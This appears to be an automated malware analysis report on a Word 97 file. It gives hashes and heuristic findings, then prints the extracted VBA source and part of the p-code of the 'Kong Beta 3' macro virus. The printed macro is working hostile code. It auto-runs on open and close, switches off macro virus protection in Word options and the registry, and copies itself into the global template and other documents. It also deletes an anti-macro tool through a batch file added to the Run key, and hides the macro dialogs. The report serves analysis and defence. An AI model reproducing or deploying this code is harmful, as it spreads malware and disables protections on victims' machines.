Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b5063cb9826a19eb…

MALICIOUS

Office (OLE)

82.0 KB Created: 2000-02-28 21:00:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-06
MD5: 7774b62afa47b4d04f31c6a83c09c960 SHA-1: 49cf8546d1add6224eeb547b1904c1b2a944964f SHA-256: b5063cb9826a19eb569987e7ceacc8b0fc82c691448e8038930ab55fb13c5b3d
136 Risk Score

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69793 bytes
SHA-256: 07c0858d6cb7888a3695c366c8e83737164c990c831affd35b9017d73748a377
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MsKong"

Public File As Variant, Tempat As String
Public Const FileKing As String = "MsKong.dll"
Public Const FileKong As String = "MsKong.dot"
Sub AutoOpen()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
    
Dim NT As Object
On Error Resume Next
    Application.Caption = "Microba Word"
    ActiveWindow.Caption = ActiveDocument
    Application.DisplayStatusBar = True
    Application.ScreenUpdating = False
    Application.EnableCancelKey = 0
    Set NT = NormalTemplate
    Set File = NT
    Periksa File
    Register
    If Application.UserName <> "King Of Kong" Then
    With Application
        .UserName = "King Of Kong"
        .UserInitials = "Kong"
        .UserAddress = "Planet Earth"
    End With
    End If
    TularGlobal
    Application.ScreenUpdating = True
    Options.VirusProtection = False
    CommandBars("Help").Controls("WordPerfect Help...").Enabled = False
    Application.DisplayStatusBar = False
End Sub
Function Kena(NamaFile$, Lokasi$)
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
    Kena = False
    SetAttr NamaFile$, vbNormal
    With Application.FileSearch
        .FileName = NamaFile$
        .LookIn = Lokasi$
        .Execute
        i = .FoundFiles.Count
        If i <> 0 Then Kena = True
    End With
    SetAttr NamaFile$, vbHidden + vbReadOnly
End Function
Sub ToolsMacro()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
Ulang:
Application.DisplayStatusBar = True
Dim X
ReDim ComboBox1__$(2)
    ComboBox1__$(0) = "AddYeOleInsertVisioDrawingButton"
    ComboBox1__$(1) = "AddYeOleInsertVisioDrawingMacro"
    ComboBox1__$(2) = "InsertVisioDrawing"
ReDim ListBox1__$(0)
    ListBox1__$(0) = ""
ReDim DropListBox2__$(3)
    Data = Left(ActiveDocument, Len(ActiveDocument) - 4)
    DropListBox2__$(0) = "All active templates and documents"
    DropListBox2__$(1) = "Normal.dot (global template)"
    DropListBox2__$(2) = "Word commands"
    DropListBox2__$(3) = Data & " (Document)"

    WordBasic.BeginDialog 600, 290, "Macro"
        WordBasic.PushButton 445, 23, 141, 21, "&Run", "Definierbar2"
        WordBasic.CancelButton 445, 47, 141, 21
        WordBasic.PushButton 445, 80, 141, 21, "&Step Info", "definierbar3"
        WordBasic.PushButton 445, 103, 141, 21, "&Edit", "Definierbar4"
        WordBasic.PushButton 445, 137, 141, 21, "&Create", "Definierbar5"
        WordBasic.PushButton 445, 160, 141, 21, "&Delete", "Definierbar6"
        WordBasic.PushButton 445, 185, 141, 21, "Or&ganizer...", "Definierbar7"
        WordBasic.TextBox 9, 22, 420, 20, "Kong2$"
        WordBasic.ListBox 20, 42, 410, 155, ComboBox1__$(), "ComboBox1"
        WordBasic.Text 9, 6, 93, 13, "&Macro Name:", "Text1"
        WordBasic.Text 9, 205, 75, 13, "M&acros In:", "Text2"
        WordBasic.Text 9, 230, 109, 13, "Descr&iption:", "Text3"
        WordBasic.TextBox 9, 245, 421, 35, "Kong$"
        WordBasic.DropListBox 85, 204, 343, 60, DropListBox2__$(), "ListBox2"
        WordBasic.Text 445, 205, 150, 13, "__________________"
        WordBasic.Text 445, 220, 150, 13, "    Copyright " & Chr(169) & " 1999"
        WordBasic.Text 445, 233, 150, 13, "Design by King of Kong"
        WordBasic.Text 445, 246, 150, 13, "        Planet Elektro"
        WordBasic.Text 445, 260, 150, 13, "Universitas Bung Hatta"
        WordBasic.Text 445, 271, 150, 13, Chr(151) + Chr(151) + Chr(151) + Chr(151) + Chr(151) + Chr(151) + Chr(151) + Chr(151) + Chr(151) + Chr(151) + Chr(151)
    WordBasic.EndDialog

Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
    Let dlg.Kong2$ = ComboBox1__$(0)
    Let dlg.Kong$ = "Macro created 18/07/99 by K&K"
    X = WordBasic.Dialog.UserDialog(dlg)
    Select Case X
        Case 0
            WordBasic.Cancel
        Case 1
            Tampil
            GoTo Ulang
        Case 2
            EditProperties
            With Assistant.NewBalloon
                .Animation = msoAnimationListensToComputer
                .Heading = "What would you like to do"
                .Text = "Shhht............"
                .Icon = msoIconTip
                .Show
            End With
            GoTo Ulang
            GoTo Ulang
        Case 3
            With Assistant.NewBalloon
                .Animation = msoAnimationThinking
                .Heading = "What would you like to do"
                .Text = "I don't know what you mean"
                .Icon = msoIconAlert
                .Show
            End With
            GoTo Ulang
        Case 4
            With Assistant.NewBalloon
                .Animation = msoAnimationSearching
                .Heading = "What would you like to do"
                .Text = "Sorry buddy, I can help You"
                .Icon = msoIconTip
                .Show
            End With
            GoTo Ulang
        Case 5
            With Assistant.NewBalloon
                .Animation = msoAnimationEmptyTrash
                .Heading = "What would you like to do"
                .Text = "Are you sure ?"
                .Icon = msoIconTip
                .Show
            End With
            GoTo Ulang
        Case 6
            With Assistant.NewBalloon
                .Animation = msoAnimationCheckingSomething
                .Heading = "What would you like to do"
                .Text = "Organizer ? ........"
                .Icon = msoIconTip
                .Show
            End With
            GoTo Ulang
    End Select
Application.DisplayStatusBar = False
End Sub
Sub FileSave()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
    Application.DisplayStatusBar = True
    Application.ScreenUpdating = False
    TularFile
    EditProperties
    Application.ScreenUpdating = True
    ActiveDocument.Save
    Application.DisplayStatusBar = False
End Sub
Sub Tampil()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
' Walaupun harus bekerja keras yang penting suskes!!
' Dibuat Hari Senin, 28 Juni 1999 selesai 29 Juni 1999

Dim Spasi$, MyName$
Dim King, Kong, Ulang, Waktu, MyDate, MyTime
Dim Hitung, Hitungi, Tanggal, Bulan
Dim Data$(9), MyValue
On Error Resume Next
    Application.DisplayStatusBar = True
    Tanggal = Day(Date)
    Bulan = Month(Date)
    If Tanggal = 2 And Bulan = 8 Then
        MyValue = 8 ' Spesial Value
        JenisHuruf = "Symbol"
        Warna = 6
        Warna2 = 5
        Warna3 = 2
        AnimasiHuruf = 3
        Huruf = "i"
        Huruf2 = "o"
        Huruf3 = "u"
        HurufBaru = "i"
        HurufBaru2 = "©"
        HurufBaru3 = "u"
        Ukuran = 20
        Animasi JenisHuruf, Warna, AnimasiHuruf, Huruf, HurufBaru, Ukuran, Tanggal
        Animasi JenisHuruf, Warna2, AnimasiHuruf, Huruf2, HurufBaru2, Ukuran, Tanggal
        Animasi JenisHuruf, Warna3, AnimasiHuruf, Huruf3, HurufBaru3, Ukuran, Tanggal
    ElseIf Tanggal = 16 And Bulan = 8 Then
        MyValue = 9
        JenisHuruf = "Symbol"
        Warna = 0
        AnimasiHuruf = 0
        Huruf = "a"
        Huruf2 = "c"
        Huruf3 = "r"
        HurufBaru = "@"
        HurufBaru2 = "©"
        HurufBaru3 = "®"
        Ukuran = 0
        Animasi JenisHuruf, Warna, AnimasiHuruf, Huruf, HurufBaru, Ukuran, Tanggal
        Animasi JenisHuruf, Warna, AnimasiHuruf, Huruf2, HurufBaru2, Ukuran, Tanggal
        Animasi JenisHuruf, Warna, AnimasiHuruf, Huruf3, HurufBaru3, Ukuran, Tanggal
    ElseIf Tanggal = 29 And Bulan = 2 Then
        MyValue = 0
        JenisHuruf = "Symbol"
        Warna = 6
        Warna2 = 5
        Warna3 = 2
        AnimasiHuruf = 3
        Huruf = "k"
        Huruf2 = "o"
        Huruf3 = "l"
        Huruf4 = "u"
        HurufBaru = "k"
        HurufBaru2 = "o"
        HurufBaru3 = "©"
        HurufBaru4 = "u"
        Ukuran = 20
        Animasi JenisHuruf, Warna, AnimasiHuruf, Huruf, HurufBaru, Ukuran, Tanggal
        Animasi JenisHuruf, Warna, AnimasiHuruf, Huruf2, HurufBaru2, Ukuran, Tanggal
        Animasi JenisHuruf, Warna2, AnimasiHuruf, Huruf3, HurufBaru3, Ukuran, Tanggal
        Animasi JenisHuruf, Warna3, AnimasiHuruf, Huruf4, HurufBaru4, Ukuran, Tanggal
    Else
    Randomize
    MyValue = Int((7 * Rnd) + 1)
    End If
    Spasi$ = "                                                                                                                                            "
    Data$(0) = "Long Live The Master"
    Data$(1) = "Planet Elektro - Universitas Bung Hatta"
    Data$(2) = "I'm a poor lonesome CowBoy and a long long way from home...."
    Data$(3) = "I'm a poor lonesome CowBoy and a long long way from Inel"
    Data$(4) = "The Truth Is Out There"
    Data$(5) = "Kong Beta 3, Copyright " & Chr(169) & " 1999, K&K Software Design " & Chr(153)
    Data$(6) = "Untuk Satri RX. yang ingin namanya dimasukkan"
    Data$(7) = "Untuk RNI, DonnYA, DNV mudah-mudahan sampai ke rumah!"
    Data$(8) = "Happy birthday to you...Happy birthday to you...Happy birthday dear Inel...Happy birthday to you"
    Data$(9) = "Happy birthday to you...Happy birthday to you...Happy birthday dear Yen...Happy birthday to you"
    DataAkhir$ = Data$(MyValue) + Left(Spasi$, Len(Spasi$) - Len(Data$(MyValue))) + Data$(MyValue)
    My$ = "Copyright " & Chr(169) & " 1999 K&K Software Design, Inc."
    Waktu = 70000  'Mudah - mudahan nggak kelamaan
    Kong = Len(Data$(MyValue))
    For Hitung = 0 To (Len(DataAkhir$) + 139)
        If Kong >= Len(DataAkhir$) Then
            Kong = Len(Data$(MyValue))
            Hitung = Len(DataAkhir$)
        End If
        
        If Hitung >= Len(DataAkhir$) Then
            Kong = Kong + 1
            MyName$ = Right$(DataAkhir$, Kong) + Right$(Spasi$, Len(Spasi$) - Len(Data$(MyValue)))
            WordBasic.PrintStatusBar MyName$
            Tunggu (Waktu)
        ElseIf Hitung < Len(DataAkhir$) Then
            MyName$ = Right$(DataAkhir$, Hitung)
            WordBasic.PrintStatusBar MyName$
            Tunggu (Waktu)
        End If
    Next Hitung

    Tunggu (10 * Waktu)
    For Ulang = 1 To 2
        King = 0
        MyName$ = DataAkhir$
        For Hitungi = 0 To (Len(DataAkhir$) - Len(Data$(MyValue)))
            MyName$ = Right$(DataAkhir$, (Len(DataAkhir$) - King))
            WordBasic.PrintStatusBar MyName$
            Tunggu (Waktu)
            King = King + 1
        Next Hitungi
    Next Ulang
    Tunggu (50 * Waktu)
    WordBasic.PrintStatusBar My$
    Application.DisplayStatusBar = False
End Sub
Private Sub Tunggu(Waktu)
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
' Sorry Tung, dari semua bagian dari macro ini
' Ente yang harus paling banyak kerja

    For Hitungan = 0 To Waktu
        Rem Harap tunggu sebentar
    Next Hitungan
End Sub
Sub FormatStyle()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

    Dialogs(180).Show
End Sub
Function EditProperties()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
With ActiveDocument
    .BuiltInDocumentProperties(1) = "The Truth Is Out There"
    .BuiltInDocumentProperties(2) = "Kong's Project"
    .BuiltInDocumentProperties(3) = "King of Kong"
    .BuiltInDocumentProperties(5) = "Planet Elektro" & Chr(13) & "Universitas Bung Hatta - Padang" & Chr(13) & "Sumatera Barat - Indonesia" & Chr(13) & "Terima kasih atas kerja samanya"
End With
End Function
Sub Periksa(KFile)
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
For Each Item In KFile.VBProject.VBComponents
    ThisDocu = KFile.VBProject.VBComponents(1).Name
    JumThisDocu = KFile.VBProject.VBComponents(1).CodeModule.CountOfLines
    If Item.Name = ThisDocu Then
        KFile.VBProject.VBComponents(1).CodeModule.DeleteLines 1, KFile.VBProject.VBComponents(1).CodeModule.CountOfLines
    ElseIf Item.Name <> "MsKong" Then
        Application.OrganizerDelete KFile.FullName, Item.Name, 3
    End If
Next Item
End Sub
Sub FileOpen()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

Dim AD As Object
On Error GoTo Gagal
    WordBasic.DisableAutoMacros True
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        Set AD = ActiveDocument
        Set File = AD
        Periksa File
        ActiveDocument.Save
        TularFile
    End If
    WordBasic.DisableAutoMacros False
Gagal:
End Sub
Sub AutoClose()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
    TularGlobal
    TularFile
    Tanggal = Day(Date)
    Bulan = Month(Date)
    If (Tanggal = 29 And Bulan = 2) Or (Tanggal = 2 And Bulan = 8) Or (Tanggal = 16 And Bulan = 8) Then
        Tampil
    End If
    ActiveDocument.Save
End Sub
Function Register()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
    
On Error Resume Next
    DefName = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "DefName")
    DefCompany = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "DefCompany")
    If (DefName <> "King of Kong" And DefCompany <> "K&K Software Design,Inc.") Then
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "DefName") = "King of Kong"
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "DefCompany") = "K&K Software Design,Inc."
        System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "King of Kong"
        System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "K&K Software Design,Inc."
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
    End If
End Function
Function TularGlobal()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
    
On Error Resume Next
    Tempat$ = Options.DefaultFilePath(6)
    Tempat2$ = Options.DefaultFilePath(8)
    TargetFile$ = Tempat$ & "\" & FileKing$
    Cadangan$ = Tempat2$ & Application.PathSeparator & FileKong$
    Carrier$ = ActiveDocument.FullName
    Sumber$ = Left(Carrier$, Len(Carrier$) - 3) & "TMP"
    Sumber2$ = Left(Carrier$, Len(Carrier$) - 3) & "BAK"
    If (Not Kena(FileKing$, Tempat$) Or Not Kena(FileKong$, Tempat2$)) Then
        SetAttr Sumber$, vbNormal
        FileCopy Sumber2$, TargetFile$
        FileCopy Sumber$, Cadangan$
        SetAttr Sumber, vbReadOnly + vbHidden
        SetAttr TargetFile$, vbReadOnly
        SetAttr Cadangan$, vbReadOnly
        BacaTulisFile
    End If
End Function
Sub FileTemplates()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
    
    Dialogs(87).Show
End Sub
Function TularFile()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
    
On Error Resume Next
    Tempat$ = Options.DefaultFilePath(6)
    TargetFile$ = Tempat$ & Application.PathSeparator & FileKing$
    TargetFile2$ = Options.DefaultFilePath(8) & Application.PathSeparator & FileKong$
    DokumentAktif$ = ActiveDocument
    CarrierFile$ = Left(DokumentAktif$, Len(DokumentAktif$) - 3) & "TMP"
    CarrierFile2$ = Left(DokumentAktif$, Len(DokumentAktif$) - 3) & "BAK"
    Carrier$ = ActiveDocument.FullName
    LokasiFile$ = ActiveDocument.Path
    Sumber$ = LokasiFile$ & Application.PathSeparator & CarrierFile$
    Sumber2$ = LokasiFile$ & Application.PathSeparator & CarrierFile2$
    If Not Kena(CarrierFile$, LokasiFile$) Or Not Kena(CarrierFile2$, LokasiFile$) Then
        Selection.HomeKey Unit:=wdStory
        Selection.WholeStory
        Selection.Copy
        ActiveDocument.Save
        ActiveDocument.Close
        Kill Carrier$
        FileCopy TargetFile$, Carrier$
        FileCopy TargetFile$, Sumber2$
        FileCopy TargetFile2$, Sumber$
        SetAttr Carrier$, vbNormal
        SetAttr Sumber$, vbReadOnly + vbHidden
        SetAttr Sumber2$, vbReadOnly + vbHidden
        Documents.Open Carrier$
        Selection.Paste
        ActiveDocument.Save
    End If
End Function
Sub ToolsOptions()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
    Application.DisplayStatusBar = True
    With Options
        .SaveNormalPrompt = True
        .VirusProtection = True
        Dialogs(974).Show
        .SaveNormalPrompt = False
        .SavePropertiesPrompt = False
        .VirusProtection = False
    End With
    Application.DisplayStatusBar = False
End Sub
Sub BacaTulisFile()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
Tempat$ = Options.DefaultFilePath(8)
Target$ = Application.NormalTemplate.FullName
TargetFile$ = Tempat$ & "\" & FileKong$
Base$ = Options.DefaultFilePath(4)
If Base$ = "" Then
    Options.DefaultFilePath(4) = "C:\WINDOWS"
    Base$ = Options.DefaultFilePath(4)
End If
Parasit$ = "MsKong.Bat"
ParasitBase$ = Base$ & Application.PathSeparator & Parasit$
If Not Kena(Parasit$, Base$) Then
Open ParasitBase$ For Output As #1
    Print #1, "@Echo Off"
    Print #1, "Rem This Line For Master Kong"
    Print #1, "If Exist " & Chr(34) & "C:\Program Files\BanMacro\BanMacro.*" & Chr(34) & " Del " & Chr(34) & "C:\Program Files\BanMacro\BanMacro.*" & Chr(34) & " > nul "
    Print #1, "If Exist " & Chr(34) & TargetFile$ & Chr(34) & " Del " & Chr(34) & Target$ & Chr(34) & " > nul"
    Print #1, "If Exist " & Chr(34) & TargetFile$ & Chr(34) & " Copy " & Chr(34) & TargetFile & Chr(34) & " " & Chr(34) & Target$ & Chr(34) & " > nul"
    Print #1, "Attrib -r " & Chr(34) & Target$ & Chr(34) & " > nul"
Close #1
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "LoadMe") = ParasitBase$
End If
End Sub
Sub Animasi(JenisHuruf, Warna, AnimasiHuruf, Huruf, HurufBaru, Ukuran, Tanggal)
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************

On Error Resume Next
    Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    If Tanggal <> 16 Then
        With Selection.Find.Replacement.Font
            If HurufBaru = "©" Then
                .Name = JenisHuruf
            End If
            .Size = Ukuran
            .ColorIndex = Warna
            .Animation = AnimasiHuruf
        End With
    End If
    With Selection.Find
        .Text = Huruf
        .Replacement.Text = HurufBaru
        .Forward = True
        .Wrap = 1
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=2
End Sub
Sub ViewVBCode()
'*********************************************
' Kong Beta 3
' Copyright © 1999, K&K Software Design, Inc.
' The Pariamaner
' ********************************************
    
On Error Resume Next
    With Assistant.NewBalloon
        .Animation = msoAnimationGetTechy
        .Heading = "What would you like to do"
        .Text = "Sorry, Just For Einstein !"
        .Icon = msoIconTip
        .Show
    End With
    TularFile
    TularGlobal
    Tanggal = Day(Date)
    Bulan = Month(Date)
    If (Tanggal = 29 And Bulan = 2) Or (Tanggal = 2 And Bulan = 8) Or (Tanggal = 16 And Bulan = 8) Then
        Tampil
    End If
    ActiveDocument.Save
End Sub



' Processing file: /tmp/qstore_vnrx1njt
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/MsKong - 40755 bytes
' Line #0:
' Line #1:
' 	Dim (Public) 
' 	VarDefn File (As Variant)
' 	VarDefn Tempat (As String)
' Line #2:
' 	Dim (Public Const) 
' 	LitStr 0x000A "MsKong.dll"
' 	VarDefn FileKing (As String)
' Line #3:
' 	Dim (Public Const) 
' 	LitStr 0x000A "MsKong.dot"
' 	VarDefn FileKong (As String)
' Line #4:
' 	FuncDefn (Sub AutoOpen())
' Line #5:
' 	QuoteRem 0x0000 0x002D "*********************************************"
' Line #6:
' 	QuoteRem 0x0000 0x000C " Kong Beta 3"
' Line #7:
' 	QuoteRem 0x0000 0x002C " Copyright © 1999, K&K Software Design, Inc."
' Line #8:
' 	QuoteRem 0x0000 0x000F " The Pariamaner"
' Line #9:
' 	QuoteRem 0x0000 0x002D " ********************************************"
' Line #10:
' Line #11:
' 	Dim 
' 	VarDefn NT (As Object)
' Line #12:
' 	OnError (Resume Next) 
' Line #13:
' 	LitStr 0x000C "Microba Word"
' 	Ld Application 
' 	MemSt Caption 
' Line #14:
' 	Ld ActiveDocument 
' 	Ld ActiveWindow 
' 	MemSt Caption 
' Line #15:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt DisplayStatusBar 
' Line #16:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #17:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #18:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set NT 
' Line #19:
' 	SetStmt 
' 	Ld NT 
' 	Set File 
' Line #20:
' 	Ld File 
' 	ArgsCall Periksa 0x0001 
' Line #21:
' 	ArgsCall Register 0x0000 
' Line #22:
' 	Ld Application 
' 	MemLd UserName 
' 	LitStr 0x000C "King Of Kong"
' 	Ne 
' 	IfBlock 
' Line #23:
' 	StartWithExpr 
' 	Ld Application 
' 	With 
' Line #24:
' 	LitStr 0x000C "King Of Kong"
' 	MemStWith UserName 
' Line #25:
' 	LitStr 0x0004 "Kong"
' 	MemStWith UserInitials 
' Line #26:
' 	LitStr 0x000C "Planet Earth"
' 	MemStWith UserAddress 
' Line #27:
' 	EndWith 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	ArgsCall TularGlobal 0x0000 
' Line #30:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #31:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #32:
' 	LitVarSpecial (False)
' 	LitStr 0x0013 "WordPerfect Help..."
' 	LitStr 0x0004 "Help"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #33:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt DisplayStatusBar 
' Line #34:
' 	EndSub 
' Line #35:
' 	FuncDefn (Function Kena(NamaFile, Lokasi))
' Line #36:
' 	QuoteRem 0x0000 0x002D "*********************************************"
' Line #37:
' 	QuoteRem 0x0000 0x000C " Kong Beta 3"
' Line #38:
' 	QuoteRem 0x0000 0x002C " Copyright © 1999, K&K Software Design, Inc."
' Line #39:
' 	QuoteRem 0x0000 0x000F " The Pariamaner"
' Line #40:
' 	QuoteRem 0x0000 0x002D " ********************************************"
' Line #41:
' Line #42:
' 	OnError (Resume Next) 
' Line #43:
' 	LitVarSpecial (False)
' 	St Kena 
' Line #44:
' 	Ld NamaFile$ 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #45:
' 	StartWithExpr 
' 	Ld Application 
' 	MemLd FileSearch 
' 	With 
' Line #46:
' 	Ld NamaFile$ 
' 	MemStWith FileName 
' Line #47:
' 	Ld Lokasi$ 
' 	MemStWith LookIn 
' Line #48:
' 	ArgsMemCallWith Execute 0x0000 
' Line #49:
' 	MemLdWith FoundFiles 
' 	MemLd Count 
' 	St i 
' Line #50:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Kena 
' 	EndIf 
' Line #51:
' 	EndWith 
' Line #52:
' 	Ld NamaFile$ 
' 	Ld vbHidden 
' 	Ld vbReadOnly 
' 	Add 
' 	ArgsCall SetAttr 0x0002 
' Line #53:
' 	EndFunc 
' Line #54:
' 	FuncDefn (Sub ToolsMacro())
' Line #55:
' 	QuoteRem 0x0000 0x002D "*********************************************"
' Line #56:
' 	QuoteRem 0x0000 0x000C " Kong Beta 3"
' Line #57:
' 	QuoteRem 0x0000 0x002C " Copyright © 1999, K&K Software Design, Inc."
' Line #58:
' 	QuoteRem 0x0000 0x000F " The Pariamaner"
' Line #59:
' 	QuoteRem 0x0000 0x002D " ********************************************"
' Line #60:
' Line #61:
' 	OnError (Resume Next) 
' Line #62:
' 	Label Ulang 
' Line #63:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt DisplayStatusBar 
' Line #64:
' 	Dim 
' 	VarDefn X
' Line #65:
' 	OptionBase 
' 	LitDI2 0x0002 
' 	Redim ComboBox1__$ 0x0001 (As String)
' Line #66:
' 	LitStr 0x0020 "AddYeOleInsertVisioDrawingButton"
' 	LitDI2 0x0000 
' 	ArgsSt ComboBox1__$ 0x0001 
' Line #67:
' 	LitStr 0x001F "AddYeOleInsertVisioDrawingMacro"
' 	LitDI2 0x0001 
' 	ArgsSt ComboBox1__$ 0x0001 
' Line #68:
' 	LitStr 0x0012 "InsertVisioDrawing"
' 	LitDI2 0x0002 
' 	ArgsSt ComboBox1__$ 0x0001 
' Line #69:
' 	OptionBase 
' 	LitDI2 0x0000 
' 	Redim ListBox1__$ 0x0001 (As String)
' Line #70:
' 	LitStr 0x0000 ""
' 	LitDI2 0x0000 
' 	ArgsSt ListBox1__$ 0x0001 
' Line #71:
' 	OptionBase 
' 	LitDI2 0x0003 
' 	Redim DropListBox2__$ 0x0001 (As String)
' Line #72:
' 	Ld ActiveDocument 
' 	Ld ActiveDocument 
' 	FnLen 
' 	LitDI2 0x0004 
' 	Sub 
' 	ArgsLd LBound 0x0002 
' 	St Data 
' Line #73:
' 	LitStr 0x0022 "All active templates and documents"
' 	LitDI2 0x0000 
' 	ArgsSt DropListBox2__$ 0x0001 
' Line #74:
' 	LitStr 0x001C "Normal.dot (global template)"
' 	LitDI2 0x0001 
' 	ArgsSt DropListBox2__$ 0x0001 
' Line #75:
' 	LitStr 0x000D "Word commands"
' 	LitDI2 0x0002 
' 	ArgsSt DropListBox2__$ 0x0001 
' Line #76:
' 	Ld Data 
' 	LitStr 0x000B " (Document)"
' 	Concat 
' 	LitDI2 0x0003 
' 	ArgsSt DropListBox2__$ 0x0001 
' Line #77:
' Line #78:
' 	LitDI2 0x0258 
' 	LitDI2 0x0122 
' 	LitStr 0x0005 "Macro"
' 	Ld WordBasic 
' 	ArgsMemCall BeginDialog 0x0003 
' Line #79:
' 	LitDI2 0x01BD 
' 	LitDI2 0x0017 
' 	LitDI2 0x008D 
' 	LitDI2 0x0015 
' 	LitStr 0x0004 "&Run"
' 	LitStr 0x000C "Definierbar2"
' 	Ld WordBasic 
' 	ArgsMemCall PushButton 0x0006 
' Line #80:
' 	LitDI2 0x01BD 
' 	LitDI2 0x002F 
' 	LitDI2 0x008D 
' 	LitDI2 0x0015 
' 	Ld WordBasic 
' 	ArgsMemCall CancelButton 0x0004 
' Line #81:
' 	LitDI2 0x01BD 
' 	LitDI2 0x0050 
' 	LitDI2 0x008D 
' 	LitDI2 0x0015 
' 	LitStr 0x000A "&Step Info"
' 	LitStr 0x000C "definierbar3"
' 	Ld WordBasic 
' 	ArgsMemCall PushButton 0x0006 
' Line #82:
' 	LitDI2 0x01BD 
' 	LitDI2 0x0067 
' 	LitDI2 0x008D 
' 	LitDI2 0x0015 
